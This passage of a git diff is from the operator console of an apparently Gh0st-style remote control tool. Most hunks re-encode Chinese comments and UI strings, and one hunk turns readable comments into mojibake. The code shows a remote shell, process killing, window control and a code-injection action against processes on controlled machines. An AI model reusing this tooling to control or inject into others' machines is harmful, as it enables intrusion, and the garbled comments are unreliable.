"MultiScreen"); @@ -149,7 +149,7 @@ BOOL CSettingDlg::OnInitDialog() m_sFrpToken = THIS_CFG.GetStr("frp", "token").c_str(); int size = THIS_CFG.GetInt("settings", "VideoWallSize"); - m_ComboVideoWall.InsertString(0, ""); + m_ComboVideoWall.InsertString(0, "无"); m_ComboVideoWall.InsertString(1, "2 x 2"); m_ComboVideoWall.InsertString(2, "3 x 3"); m_ComboVideoWall.InsertString(3, "4 x 4"); @@ -197,26 +197,26 @@ void CSettingDlg::OnBnClickedButtonSettingapply() void CSettingDlg::OnEnChangeEditPort() { - // TODO: ÿؼ RICHEDIT ؼ - // ʹ֪ͨд CDialog::OnInitDialog() - // CRichEditCtrl().SetEventMask() - // ͬʱ ENM_CHANGE ־㵽С + // TODO: 如果该控件是 RICHEDIT 控件,它将不 + // 发送此通知,除非重写 CDialog::OnInitDialog() + // 函数并调用 CRichEditCtrl().SetEventMask(), + // 同时将 ENM_CHANGE 标志“或”运算到掩码中。 - // TODO: ڴӿؼ֪ͨ + // TODO: 在此添加控件通知处理程序代码 - // Buttonӱ + // 给Button添加变量 m_ApplyButton.ShowWindow(SW_NORMAL); m_ApplyButton.EnableWindow(TRUE); } void CSettingDlg::OnEnChangeEditMax() { - // TODO: ÿؼ RICHEDIT ؼ - // ʹ֪ͨд CDialog::OnInitDialog() - // CRichEditCtrl().SetEventMask() - // ͬʱ ENM_CHANGE ־㵽С + // TODO: 如果该控件是 RICHEDIT 控件,它将不 + // 发送此通知,除非重写 CDialog::OnInitDialog() + // 函数并调用 CRichEditCtrl().SetEventMask(), + // 同时将 ENM_CHANGE 标志“或”运算到掩码中。 - // TODO: ڴӿؼ֪ͨ + // TODO: 在此添加控件通知处理程序代码 HWND hApplyButton = ::GetDlgItem(m_hWnd,IDC_BUTTON_SETTINGAPPLY); ::ShowWindow(hApplyButton,SW_NORMAL); diff --git a/server/2015Remote/SettingDlg.h b/server/2015Remote/SettingDlg.h index 7215fda..cbfc958 100644 --- a/server/2015Remote/SettingDlg.h +++ b/server/2015Remote/SettingDlg.h @@ -1,22 +1,22 @@ -#pragma once +#pragma once #include "afxwin.h" -// CSettingDlg Ի +// CSettingDlg 对话框 class CSettingDlg : public CDialog { DECLARE_DYNAMIC(CSettingDlg) public: - CSettingDlg(CWnd* pParent = NULL); // ׼캯 + CSettingDlg(CWnd* pParent = NULL); // 标准构造函数 virtual ~CSettingDlg(); - // Ի + // 对话框数据 enum { IDD = IDD_DIALOG_SET }; protected: - virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV ֧ + virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持 DECLARE_MESSAGE_MAP() public: diff --git a/server/2015Remote/ShellDlg.cpp b/server/2015Remote/ShellDlg.cpp index d83e3e9..7873e4e 100644 --- a/server/2015Remote/ShellDlg.cpp +++ b/server/2015Remote/ShellDlg.cpp @@ -1,4 +1,4 @@ -// ShellDlg.cpp : ʵļ +// ShellDlg.cpp : 实现文件 // #include "stdafx.h" @@ -14,15 +14,15 @@ END_MESSAGE_MAP() void CAutoEndEdit::OnChar(UINT nChar, UINT nRepCnt, UINT nFlags) { - // ƶıĩβ + // 将光标移动到文本末尾 int nLength = GetWindowTextLength(); SetSel(nLength, nLength); - // øദַ + // 调用父类处理输入字符 CEdit::OnChar(nChar, nRepCnt, nFlags); } -// CShellDlg Ի +// CShellDlg 对话框 IMPLEMENT_DYNAMIC(CShellDlg, CDialog) @@ -49,7 +49,7 @@ BEGIN_MESSAGE_MAP(CShellDlg, CDialog) END_MESSAGE_MAP() -// CShellDlg Ϣ +// CShellDlg 消息处理程序 BOOL CShellDlg::OnInitDialog() @@ -61,7 +61,7 @@ BOOL CShellDlg::OnInitDialog() SetIcon(m_hIcon,FALSE); CString str; - str.Format("%s - Զն", m_IPAddress); + str.Format("%s - 远程终端", m_IPAddress); SetWindowText(str); BYTE bToken = COMMAND_NEXT; @@ -75,7 +75,7 @@ BOOL CShellDlg::OnInitDialog() m_Edit.SetLimitText(EDIT_MAXLENGTH); return TRUE; // return TRUE unless you set the focus to a control - // 쳣: OCX ҳӦ FALSE + // 异常: OCX 属性页应返回 FALSE } @@ -99,51 +99,51 @@ std::string removeAnsiCodes(const std::string& input) VOID CShellDlg::AddKeyBoardData(void) { - // 0 + // 最后填上0 //Shit\0 - m_ContextObject->InDeCompressedBuffer.WriteBuffer((LPBYTE)"", 1); //ӱƶҪһ\0 + m_ContextObject->InDeCompressedBuffer.WriteBuffer((LPBYTE)"", 1); //从被控制端来的数据我们要加上一个\0 Buffer tmp = m_ContextObject->InDeCompressedBuffer.GetMyBuffer(0); bool firstRecv = tmp.c_str() == std::string(">"); - CString strResult = firstRecv ? "" : CString("\r\n") + removeAnsiCodes(tmp.c_str()).c_str(); //е \0 + CString strResult = firstRecv ? "" : CString("\r\n") + removeAnsiCodes(tmp.c_str()).c_str(); //获得所有的数据 包括 \0 - //滻ԭĻз cmd Ļͬw32µı༭ؼĻзһ еĻس + //替换掉原来的换行符 可能cmd 的换行同w32下的编辑控件的换行符不一致 所有的回车换行 strResult.Replace("\n", "\r\n"); if (strResult.GetLength() + m_Edit.GetWindowTextLength() >= EDIT_MAXLENGTH) { CString text; m_Edit.GetWindowTextA(text); - auto n = EDIT_MAXLENGTH - strResult.GetLength() - 5; // 5ַclear + auto n = EDIT_MAXLENGTH - strResult.GetLength() - 5; // 留5个字符输入clear清屏 if (n < 0) { strResult = strResult.Right(strResult.GetLength() + n); } m_Edit.SetWindowTextA(text.Right(max(n, 0))); } - //õǰڵַ + //得到当前窗口的字符个数 int iLength = m_Edit.GetWindowTextLength(); //kdfjdjfdir //1.txt //2.txt //dir\r\n - //궨λλòѡַָ Ҳĩβ Ϊӱض Ҫʾ ǵ ǰݵĺ + //将光标定位到该位置并选中指定个数的字符 也就是末尾 因为从被控端来的数据 要显示在 我们的 先前内容的后面 m_Edit.SetSel(iLength, iLength); - //ôݹ滻λõַ //ʾ + //用传递过来的数据替换掉该位置的字符 //显示 m_Edit.ReplaceSel(strResult); - //µõַĴС + //重新得到字符的大小 m_nCurSel = m_Edit.GetWindowTextLength(); - //ע⵽ʹԶնʱ ͵ÿһ һз һس - //ҪҵسĴǾҪPreTranslateMessageĶ + //我们注意到,我们在使用远程终端时 ,发送的每一个命令行 都有一个换行符 就是一个回车 + //要找到这个回车的处理我们就要到PreTranslateMessage函数的定义 } void CShellDlg::OnClose() { CancelIO(); - // ȴݴ + // 等待数据处理完毕 if (IsProcessing()) { ShowWindow(SW_HIDE); return; @@ -172,27 +172,27 @@ CString ExtractAfterLastNewline(const CString& str) BOOL CShellDlg::PreTranslateMessage(MSG* pMsg) { if (pMsg->message == WM_KEYDOWN) { - // VK_ESCAPEVK_DELETE + // 屏蔽VK_ESCAPE、VK_DELETE if (pMsg->wParam == VK_ESCAPE || pMsg->wParam == VK_DELETE) return true; - //ǿɱ༭Ļس + //如果是可编辑框的回车键 if (pMsg->wParam == VK_RETURN && pMsg->hwnd == m_Edit.m_hWnd) { - //õڵݴС + //得到窗口的数据大小 int iLength = m_Edit.GetWindowTextLength(); CString str; - //õڵַ + //得到窗口的字符数据 m_Edit.GetWindowText(str); - //뻻з + //加入换行符 str += "\r\n"; - //õĻ׵ַټԭеַλãʵûǰ - //Ȼݷͳȥ + //得到整个的缓冲区的首地址再加上原有的字符的位置,其实就是用户当前输入的数据了 + //然后将数据发送出去 LPBYTE pSrc = (LPBYTE)str.GetBuffer(0) + m_nCurSel; #ifdef _DEBUG TRACE("[Shell]=> %s", (char*)pSrc); #endif - if (0 == strcmp((char*)pSrc, "exit\r\n")) { // ˳ն + if (0 == strcmp((char*)pSrc, "exit\r\n")) { // 退出终端 return PostMessage(WM_CLOSE); - } else if (0 == strcmp((char*)pSrc, "clear\r\n")) { // ն + } else if (0 == strcmp((char*)pSrc, "clear\r\n")) { // 清理终端 str = ExtractAfterLastNewline(str.Left(str.GetLength() - 7)); m_Edit.SetWindowTextA(str); m_nCurSel = m_Edit.GetWindowTextLength(); @@ -204,12 +204,12 @@ BOOL CShellDlg::PreTranslateMessage(MSG* pMsg) m_ContextObject->Send2Client(pSrc, length); m_nCurSel = m_Edit.GetWindowTextLength(); } - // VK_BACK + // 限制VK_BACK if (pMsg->wParam == VK_BACK && pMsg->hwnd == m_Edit.m_hWnd) { if (m_Edit.GetWindowTextLength() <= m_nReceiveLength) return true; } - // ʾ + // 示例: //dir\r\n 5 } @@ -223,10 +223,10 @@ HBRUSH CShellDlg::OnCtlColor(CDC* pDC, CWnd* pWnd, UINT nCtlColor) if ((pWnd->GetDlgCtrlID() == IDC_EDIT) && (nCtlColor == CTLCOLOR_EDIT)) { COLORREF clr = RGB(255, 255, 255); - pDC->SetTextColor(clr); //ðɫı + pDC->SetTextColor(clr); //设置白色的文本 clr = RGB(0,0,0); - pDC->SetBkColor(clr); //úɫı - return CreateSolidBrush(clr); //ΪԼرɫӦˢӾ + pDC->SetBkColor(clr); //设置黑色的背景 + return CreateSolidBrush(clr); //作为约定,返回背景色对应的刷子句柄 } else { return CDialog::OnCtlColor(pDC, pWnd, nCtlColor); } @@ -238,13 +238,13 @@ void CShellDlg::OnSize(UINT nType, int cx, int cy) { CDialog::OnSize(nType, cx, cy); - if (!m_Edit.GetSafeHwnd()) return; // ȷؼѴ + if (!m_Edit.GetSafeHwnd()) return; // 确保控件已创建 - // λúʹС + // 计算新位置和大小 CRect rc; m_Edit.GetWindowRect(&rc); ScreenToClient(&rc); - // ÿؼС + // 重新设置控件大小 m_Edit.MoveWindow(0, 0, cx, cy, TRUE); } diff --git a/server/2015Remote/ShellDlg.h b/server/2015Remote/ShellDlg.h index 186e887..cbe9e05 100644 --- a/server/2015Remote/ShellDlg.h +++ b/server/2015Remote/ShellDlg.h @@ -1,8 +1,8 @@ -#pragma once +#pragma once #include "IOCPServer.h" #include "afxwin.h" -// ۹λģdzıĩβ +// 无论光标位置在哪,新输入的文字总是出现在文本末尾 class CAutoEndEdit : public CEdit { public: @@ -11,7 +11,7 @@ public: }; -// CShellDlg Ի +// CShellDlg 对话框 class CShellDlg : public DialogBase { @@ -25,13 +25,13 @@ public: UINT m_nReceiveLength; VOID AddKeyBoardData(void); - int m_nCurSel; //õǰλ; + int m_nCurSel; //获得当前数据所在位置; -// Ի +// 对话框数据 enum { IDD = IDD_DIALOG_SHELL }; protected: - virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV ֧ + virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持 DECLARE_MESSAGE_MAP() public: diff --git a/server/2015Remote/SortListCtrl.cpp b/server/2015Remote/SortListCtrl.cpp index de7b000..30b976f 100644 --- a/server/2015Remote/SortListCtrl.cpp +++ b/server/2015Remote/SortListCtrl.cpp @@ -1,4 +1,4 @@ -#include "StdAfx.h" +#include "StdAfx.h" #include "SortListCtrl.h" BEGIN_MESSAGE_MAP(CSortListCtrl, CListCtrl) diff --git a/server/2015Remote/SortListCtrl.h b/server/2015Remote/SortListCtrl.h index c179544..33dc8f0 100644 --- a/server/2015Remote/SortListCtrl.h +++ b/server/2015Remote/SortListCtrl.h @@ -1,4 +1,4 @@ -#pragma once +#pragma once #include "afxcmn.h" #include @@ -9,9 +9,9 @@ public: ~CSortListCtrl(void) {} - // 是否为升序 + // 鏄惁涓哄崌搴? bool m_bAsc; - // 当前排列的序 + // 褰撳墠鎺掑垪鐨勫簭 int m_nSortedCol; afx_msg void OnLvnColumnclick(NMHDR *pNMHDR, LRESULT *pResult); diff --git a/server/2015Remote/SystemDlg.cpp b/server/2015Remote/SystemDlg.cpp index 9b259ac..b1ac9e5 100644 --- a/server/2015Remote/SystemDlg.cpp +++ b/server/2015Remote/SystemDlg.cpp @@ -1,4 +1,4 @@ -// SystemDlg.cpp : ʵļ +// SystemDlg.cpp : 实现文件 // #include "stdafx.h" @@ -7,7 +7,7 @@ #include "afxdialogex.h" -// CSystemDlg Ի +// CSystemDlg 对话框 typedef struct ItemData { DWORD ID; @@ -57,7 +57,7 @@ BEGIN_MESSAGE_MAP(CSystemDlg, CDialog) END_MESSAGE_MAP() -// CSystemDlg Ϣ +// CSystemDlg 消息处理程序 BOOL CSystemDlg::OnInitDialog() @@ -68,27 +68,27 @@ BOOL CSystemDlg::OnInitDialog() SetIcon(m_hIcon, FALSE); CString str; m_bHow==TOKEN_PSLIST - ? str.Format("%s - ̹", m_IPAddress) - :str.Format("%s - ڹ", m_IPAddress); - SetWindowText(str);//öԻ + ? str.Format("%s - 进程管理", m_IPAddress) + :str.Format("%s - 窗口管理", m_IPAddress); + SetWindowText(str);//设置对话框标题 m_ControlList.SetExtendedStyle(LVS_EX_FLATSB | LVS_EX_FULLROWSELECT); - if (m_bHow==TOKEN_PSLIST) { //̹ʼб - m_ControlList.InsertColumn(0, "ӳ", LVCFMT_LEFT, 180); + if (m_bHow==TOKEN_PSLIST) { //进程管理初始化列表 + m_ControlList.InsertColumn(0, "映像名称", LVCFMT_LEFT, 180); m_ControlList.InsertColumn(1, "PID", LVCFMT_LEFT, 70); - m_ControlList.InsertColumn(2, "·", LVCFMT_LEFT, 320); - m_ControlList.InsertColumn(3, "ܹ", LVCFMT_LEFT, 70); - ShowProcessList(); //ڵһϢŽ̵԰ʾб\0\0 - } else if (m_bHow==TOKEN_WSLIST) { //ڹʼб - //ʼ ڹб - m_ControlList.InsertColumn(0, "", LVCFMT_LEFT, 80); - m_ControlList.InsertColumn(1, "", LVCFMT_LEFT, 420); - m_ControlList.InsertColumn(2, "״̬", LVCFMT_LEFT, 200); + m_ControlList.InsertColumn(2, "程序路径", LVCFMT_LEFT, 320); + m_ControlList.InsertColumn(3, "架构", LVCFMT_LEFT, 70); + ShowProcessList(); //由于第一个发送来的消息后面紧跟着进程的数据所以把数据显示到列表当中\0\0 + } else if (m_bHow==TOKEN_WSLIST) { //窗口管理初始化列表 + //初始化 窗口管理的列表 + m_ControlList.InsertColumn(0, "句柄", LVCFMT_LEFT, 80); + m_ControlList.InsertColumn(1, "窗口名称", LVCFMT_LEFT, 420); + m_ControlList.InsertColumn(2, "窗口状态", LVCFMT_LEFT, 200); ShowWindowsList(); } return TRUE; // return TRUE unless you set the focus to a control - // 쳣: OCX ҳӦ FALSE + // 异常: OCX 属性页应返回 FALSE } void CSystemDlg::ShowWindowsList(void) @@ -103,18 +103,18 @@ void CSystemDlg::ShowWindowsList(void) CString str; int i ; for ( i = 0; dwOffset InDeCompressedBuffer.GetBufferLength() - 1; ++i) { - LPDWORD lpPID = LPDWORD(szBuffer + dwOffset); //ھ - szTitle = (char *)szBuffer + dwOffset + sizeof(DWORD); //ڱ + LPDWORD lpPID = LPDWORD(szBuffer + dwOffset); //窗口句柄 + szTitle = (char *)szBuffer + dwOffset + sizeof(DWORD); //窗口标题 str.Format("%5u", *lpPID); m_ControlList.InsertItem(i, str); m_ControlList.SetItemText(i, 1, szTitle); - m_ControlList.SetItemText(i, 2, "ʾ"); //(d) ״̬ʾΪ "ʾ" - // ItemData Ϊھ - auto data = new ItemData{ *lpPID, {str, szTitle,"ʾ"} }; + m_ControlList.SetItemText(i, 2, "显示"); //(d) 将窗口状态显示为 "显示" + // ItemData 为窗口句柄 + auto data = new ItemData{ *lpPID, {str, szTitle,"显示"} }; m_ControlList.SetItemData(i, (DWORD_PTR)data); //(d) dwOffset += sizeof(DWORD) + lstrlen(szTitle) + 1; } - str.Format(" ڸ%d", i); //޸CtrlList + str.Format("窗口名称 窗口个数【%d】", i); //修改CtrlList LVCOLUMN lvc; lvc.mask = LVCF_TEXT; lvc.pszText = str.GetBuffer(0); @@ -131,40 +131,40 @@ void CSystemDlg::ShowProcessList(void) DWORD dwOffset = 0; CString str; DeleteAllItems(); - //ÿһַݽṹ Id++0++0 + //遍历发送来的每一个字符别忘了他的数据结构啊 Id+进程名+0+完整名+0 int i; for (i = 0; dwOffset < m_ContextObject->InDeCompressedBuffer.GetBufferLength() - 1; ++i) { - LPDWORD PID = LPDWORD(szBuffer + dwOffset); //õID - szExeFile = szBuffer + dwOffset + sizeof(DWORD); //ID֮ + LPDWORD PID = LPDWORD(szBuffer + dwOffset); //这里得到进程ID + szExeFile = szBuffer + dwOffset + sizeof(DWORD); //进程名就是ID之后的啦 auto arr = StringToVector(szExeFile, ':', 2); - szProcessFullPath = szExeFile + lstrlen(szExeFile) + 1; //ǽ֮ - //ݽṹĹ + szProcessFullPath = szExeFile + lstrlen(szExeFile) + 1; //完整名就是进程名之后的啦 + //他的数据结构的构建很巧妙 - m_ControlList.InsertItem(i, arr[0].c_str()); //õݼ뵽б + m_ControlList.InsertItem(i, arr[0].c_str()); //将得到的数据加入到列表当中 str.Format("%5u", *PID); m_ControlList.SetItemText(i, 1, str); m_ControlList.SetItemText(i, 2, szProcessFullPath); m_ControlList.SetItemText(i, 3, arr[1].empty() ? "N/A" : arr[1].c_str()); - // ItemData ΪID + // ItemData 为进程ID auto data = new ItemData{ *PID, {arr[0].c_str(), str, szProcessFullPath}, arr[1].c_str() }; m_ControlList.SetItemData(i, DWORD_PTR(data)); - dwOffset += sizeof(DWORD) + lstrlen(szExeFile) + lstrlen(szProcessFullPath) + 2; //ݽṹ һѭ + dwOffset += sizeof(DWORD) + lstrlen(szExeFile) + lstrlen(szProcessFullPath) + 2; //跳过这个数据结构 进入下一个循环 } - str.Format(" / %d", i); + str.Format("程序个数 / %d", i); LVCOLUMN lvc; lvc.mask = LVCF_TEXT; lvc.pszText = str.GetBuffer(0); lvc.cchTextMax = str.GetLength(); - m_ControlList.SetColumn(2, &lvc); //бʾжٸ + m_ControlList.SetColumn(2, &lvc); //在列表中显示有多少个进程 } void CSystemDlg::OnClose() { CancelIO(); - // ȴݴ + // 等待数据处理完毕 if (IsProcessing()) { ShowWindow(SW_HIDE); return; @@ -174,7 +174,7 @@ void CSystemDlg::OnClose() DialogBase::OnClose(); } -// ͷԴԺ +// 释放资源以后再清空 void CSystemDlg::DeleteAllItems() { for (int i = 0; i < m_ControlList.GetItemCount(); i++) { @@ -192,7 +192,7 @@ int CALLBACK CSystemDlg::CompareFunction(LPARAM lParam1, LPARAM lParam2, LPARAM int nColumn = pSortInfo->first; bool bAscending = pSortInfo->second; - // ȡֵ + // 获取列值 ItemData* context1 = (ItemData*)lParam1; ItemData* context2 = (ItemData*)lParam2; CString s1 = context1->GetData(nColumn); @@ -207,15 +207,15 @@ void CSystemDlg::SortByColumn(int nColumn) static int m_nSortColumn = 0; static bool m_bSortAscending = false; if (nColumn == m_nSortColumn) { - // ͬһУл˳ + // 如果点击的是同一列,切换排序顺序 m_bSortAscending = !m_bSortAscending; } else { - // лвΪ + // 否则,切换到新列并设置为升序 m_nSortColumn = nColumn; m_bSortAscending = true; } - // Ϣ + // 创建排序信息 std::pair sortInfo(m_nSortColumn, m_bSortAscending); m_ControlList.SortItems(CompareFunction, reinterpret_cast(&sortInfo)); } @@ -223,8 +223,8 @@ void CSystemDlg::SortByColumn(int nColumn) void CSystemDlg::OnHdnItemclickList(NMHDR* pNMHDR, LRESULT* pResult) { LPNMHEADER pNMHeader = reinterpret_cast(pNMHDR); - int nColumn = pNMHeader->iItem; // ȡ - SortByColumn(nColumn); // + int nColumn = pNMHeader->iItem; // 获取点击的列索引 + SortByColumn(nColumn); // 调用排序函数 *pResult = 0; } @@ -232,7 +232,7 @@ void CSystemDlg::OnNMRClickListSystem(NMHDR *pNMHDR, LRESULT *pResult) { LPNMITEMACTIVATE pNMItemActivate = reinterpret_cast(pNMHDR); CMenu Menu; - if (m_bHow==TOKEN_PSLIST) { //̹ʼб + if (m_bHow==TOKEN_PSLIST) { //进程管理初始化列表 Menu.LoadMenu(IDR_PROCESS_LIST); } else if (m_bHow==TOKEN_WSLIST) { Menu.LoadMenu(IDR_WINDOW_LIST); @@ -254,28 +254,28 @@ void CSystemDlg::OnPlistKill() return; //[KILL][ID][ID][iD][ID] - //仺 + //非配缓冲区 LPBYTE szBuffer = (LPBYTE)LocalAlloc(LPTR, 1 + (ListCtrl->GetSelectedCount() * 4));//1.exe 4 ID Handle - //̵ͷ + //加入结束进程的数据头 szBuffer[0] = COMMAND_KILLPROCESS; - //ʾϢ - char *szTips = ": ֹ̻ᵼ²ϣĽ\n" - "ݶʧϵͳȶڱֹǰ\n" - "̽ûлᱣ״̬ݡ"; + //显示警告信息 + char *szTips = "警告: 终止进程会导致不希望发生的结果,\n" + "包括数据丢失和系统不稳定。在被终止前,\n" + "进程将没有机会保存其状态和数据。"; CString str; if (ListCtrl->GetSelectedCount() > 1) { - str.Format("%sȷʵ\nֹ%d?", szTips, ListCtrl->GetSelectedCount()); + str.Format("%s确实\n想终止这%d项进程吗?", szTips, ListCtrl->GetSelectedCount()); } else { - str.Format("%sȷʵ\nֹ?", szTips); + str.Format("%s确实\n想终止该项进程吗?", szTips); } - if (::MessageBox(m_hWnd, str, "̽", MB_YESNO | MB_ICONQUESTION) == IDNO) { + if (::MessageBox(m_hWnd, str, "进程结束警告", MB_YESNO | MB_ICONQUESTION) == IDNO) { LocalFree(szBuffer); return; } DWORD dwOffset = 1; POSITION Pos = ListCtrl->GetFirstSelectedItemPosition(); - //õҪĸ + //得到要结束哪个进程 while(Pos) { int nItem = ListCtrl->GetNextSelectedItem(Pos); auto data = (ItemData*)ListCtrl->GetItemData(nItem); @@ -283,7 +283,7 @@ void CSystemDlg::OnPlistKill() memcpy(szBuffer + dwOffset, &dwProcessID, sizeof(DWORD)); //sdkfj101112 dwOffset += sizeof(DWORD); } - //ݵضڱضвCOMMAND_KILLPROCESSͷ + //发送数据到被控端在被控端中查找COMMAND_KILLPROCESS这个数据头 m_ContextObject->Send2Client(szBuffer, LocalSize(szBuffer)); LocalFree(szBuffer); @@ -337,7 +337,7 @@ void CSystemDlg::OnReceiveComplete(void) } default: - // ䷢쳣 + // 传输发生异常数据 break; } } @@ -353,9 +353,9 @@ void CSystemDlg::OnWlistClose() if (nItem>=0) { ZeroMemory(lpMsgBuf,20); - lpMsgBuf[0]=CMD_WINDOW_CLOSE; //עǵͷ + lpMsgBuf[0]=CMD_WINDOW_CLOSE; //注意这个就是我们的数据头 auto data = (ItemData*)pListCtrl->GetItemData(nItem); - DWORD hwnd = data->ID; //õڵľһͬ 4 djfkdfj dkfjf 4 + DWORD hwnd = data->ID; //得到窗口的句柄一同发送 4 djfkdfj dkfjf 4 memcpy(lpMsgBuf+1,&hwnd,sizeof(DWORD)); //1 4 m_ContextObject->Send2Client(lpMsgBuf, sizeof(lpMsgBuf)); @@ -372,13 +372,13 @@ void CSystemDlg::OnWlistHide() int nItem = pListCtrl->GetSelectionMark(); if (nItem>=0) { ZeroMemory(lpMsgBuf,20); - lpMsgBuf[0]=CMD_WINDOW_TEST; //ڴͷ + lpMsgBuf[0]=CMD_WINDOW_TEST; //窗口处理数据头 auto data = (ItemData*)pListCtrl->GetItemData(nItem); - DWORD hwnd = data->ID; //õڵľһͬ - pListCtrl->SetItemText(nItem,2,""); //עʱбеʾ״̬Ϊ"" - //ɾбĿʱͲɾ ɾھᶪʧ ԶҲʾ - memcpy(lpMsgBuf+1,&hwnd,sizeof(DWORD)); //õڵľһͬ - DWORD dHow=SW_HIDE; //ڴ 0 + DWORD hwnd = data->ID; //得到窗口的句柄一同发送 + pListCtrl->SetItemText(nItem,2,"隐藏"); //注意这时将列表中的显示状态为"隐藏" + //这样在删除列表条目时就不删除该项了 如果删除该项窗口句柄会丢失 就永远也不能显示了 + memcpy(lpMsgBuf+1,&hwnd,sizeof(DWORD)); //得到窗口的句柄一同发送 + DWORD dHow=SW_HIDE; //窗口处理参数 0 memcpy(lpMsgBuf+1+sizeof(hwnd),&dHow,sizeof(DWORD)); m_ContextObject->Send2Client(lpMsgBuf, sizeof(lpMsgBuf)); } @@ -397,7 +397,7 @@ void CSystemDlg::OnWlistRecover() lpMsgBuf[0]= CMD_WINDOW_TEST; auto data = (ItemData*)pListCtrl->GetItemData(nItem); DWORD hwnd = data->ID; - pListCtrl->SetItemText(nItem,2,"ʾ"); + pListCtrl->SetItemText(nItem,2,"显示"); memcpy(lpMsgBuf+1,&hwnd,sizeof(DWORD)); DWORD dHow=SW_NORMAL; memcpy(lpMsgBuf+1+sizeof(hwnd),&dHow,sizeof(DWORD)); @@ -418,7 +418,7 @@ void CSystemDlg::OnWlistMax() lpMsgBuf[0]= CMD_WINDOW_TEST; auto data = (ItemData*)pListCtrl->GetItemData(nItem); DWORD hwnd = data->ID; - pListCtrl->SetItemText(nItem,2,"ʾ"); + pListCtrl->SetItemText(nItem,2,"显示"); memcpy(lpMsgBuf+1,&hwnd,sizeof(DWORD)); DWORD dHow=SW_MAXIMIZE; memcpy(lpMsgBuf+1+sizeof(hwnd),&dHow,sizeof(DWORD)); @@ -439,7 +439,7 @@ void CSystemDlg::OnWlistMin() lpMsgBuf[0]= CMD_WINDOW_TEST; auto data = (ItemData*)pListCtrl->GetItemData(nItem); DWORD hwnd = data->ID; - pListCtrl->SetItemText(nItem,2,"ʾ"); + pListCtrl->SetItemText(nItem,2,"显示"); memcpy(lpMsgBuf+1,&hwnd,sizeof(DWORD)); DWORD dHow=SW_MINIMIZE; memcpy(lpMsgBuf+1+sizeof(hwnd),&dHow,sizeof(DWORD)); @@ -451,14 +451,14 @@ void CSystemDlg::OnSize(UINT nType, int cx, int cy) { CDialog::OnSize(nType, cx, cy); - if (!m_ControlList.GetSafeHwnd()) return; // ȷؼѴ + if (!m_ControlList.GetSafeHwnd()) return; // 确保控件已创建 - // λúʹС + // 计算新位置和大小 CRect rc; m_ControlList.GetWindowRect(&rc); ScreenToClient(&rc); - // ÿؼС + // 重新设置控件大小 m_ControlList.MoveWindow(0, 0, cx, cy, TRUE); } @@ -472,10 +472,10 @@ void CSystemDlg::OnPlistInject() return; if (ListCtrl->GetSelectedCount() != 1) - ::MessageBox(m_hWnd, "ֻͬʱһ̽дע!", "ʾ", MB_ICONINFORMATION); + ::MessageBox(m_hWnd, "只能同时向一个进程进行代码注入!", "提示", MB_ICONINFORMATION); - if (::MessageBox(m_hWnd, "ȷҪĿ (64λ) дע?\n˲ܱȫֹ½̱!", - "", MB_YESNO | MB_ICONQUESTION) == IDNO) + if (::MessageBox(m_hWnd, "确定要向目标进程 (仅限64位) 进行代码注入吗?\n此操作可能被安全软件阻止,或导致进程崩溃!", + "警告", MB_YESNO | MB_ICONQUESTION) == IDNO) return; DWORD dwOffset = 1, dwProcessID = 0; @@ -500,10 +500,10 @@ void CSystemDlg::OnPlistAntiBlackScreen() return; if (ListCtrl->GetSelectedCount() != 1) - ::MessageBox(m_hWnd, "ֻͬʱһ̽з!", "ʾ", MB_ICONINFORMATION); + ::MessageBox(m_hWnd, "只能同时向一个进程进行反黑屏操作!", "提示", MB_ICONINFORMATION); - if (::MessageBox(m_hWnd, "ȷҪĿ̽з?\nȷĿ̡DLLض˼ܹͬ!", - "", MB_YESNO | MB_ICONQUESTION) == IDNO) + if (::MessageBox(m_hWnd, "确定要向目标进程进行反黑屏吗?\n请确保目标进程、DLL及被控端架构务必相同!", + "警告", MB_YESNO | MB_ICONQUESTION) == IDNO) return; DWORD dwOffset = 1, dwProcessID = 0; diff --git a/server/2015Remote/SystemDlg.h b/server/2015Remote/SystemDlg.h index cccb75f..0ba2401 100644 --- a/server/2015Remote/SystemDlg.h +++ b/server/2015Remote/SystemDlg.h @@ -1,8 +1,8 @@ -#pragma once +#pragma once #include "afxcmn.h" #include "IOCPServer.h" -// CSystemDlg Ի +// CSystemDlg 对话框 class CSystemDlg : public DialogBase { @@ -19,11 +19,11 @@ public: void OnReceiveComplete(void); CWnd* m_pParent; BOOL m_bHow; -// Ի +// 对话框数据 enum { IDD = IDD_DIALOG_SYSTEM }; protected: - virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV ֧ + virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持 DECLARE_MESSAGE_MAP() public: diff --git a/server/2015Remote/TalkDlg.cpp b/server/2015Remote/TalkDlg.cpp index b95bf7e..6d00ae2 100644 --- a/server/2015Remote/TalkDlg.cpp +++ b/server/2015Remote/TalkDlg.cpp @@ -1,4 +1,4 @@ -// TalkDlg.cpp : ʵļ +// TalkDlg.cpp : 实现文件 // #include "stdafx.h" @@ -6,7 +6,7 @@ #include "TalkDlg.h" #include "afxdialogex.h" -// CTalkDlg Ի +// CTalkDlg 对话框 IMPLEMENT_DYNAMIC(CTalkDlg, CDialog) @@ -33,7 +33,7 @@ BEGIN_MESSAGE_MAP(CTalkDlg, CDialog) END_MESSAGE_MAP() -// CTalkDlg Ϣ +// CTalkDlg 消息处理程序 BOOL CTalkDlg::OnInitDialog() @@ -45,7 +45,7 @@ BOOL CTalkDlg::OnInitDialog() m_ContextObject->Send2Client(&bToken, sizeof(BYTE)); return TRUE; // return TRUE unless you set the focus to a control - // 쳣: OCX ҳӦ FALSE + // 异常: OCX 属性页应返回 FALSE } @@ -72,10 +72,10 @@ void CTalkDlg::OnBnClickedButtonTalk() BOOL CTalkDlg::PreTranslateMessage(MSG* pMsg) { if (pMsg->message == WM_KEYDOWN) { - // VK_ESCAPEVK_DELETE + // 屏蔽VK_ESCAPE、VK_DELETE if (pMsg->wParam == VK_ESCAPE) return true; - //ǿɱ༭Ļس + //如果是可编辑框的回车键 if (pMsg->wParam == VK_RETURN && pMsg->hwnd == m_EditTalk.m_hWnd) { OnBnClickedButtonTalk(); @@ -90,7 +90,7 @@ BOOL CTalkDlg::PreTranslateMessage(MSG* pMsg) void CTalkDlg::OnClose() { CancelIO(); - // ȴݴ + // 等待数据处理完毕 if (IsProcessing()) { ShowWindow(SW_HIDE); return; diff --git a/server/2015Remote/TalkDlg.h b/server/2015Remote/TalkDlg.h index a8053e6..a451efc 100644 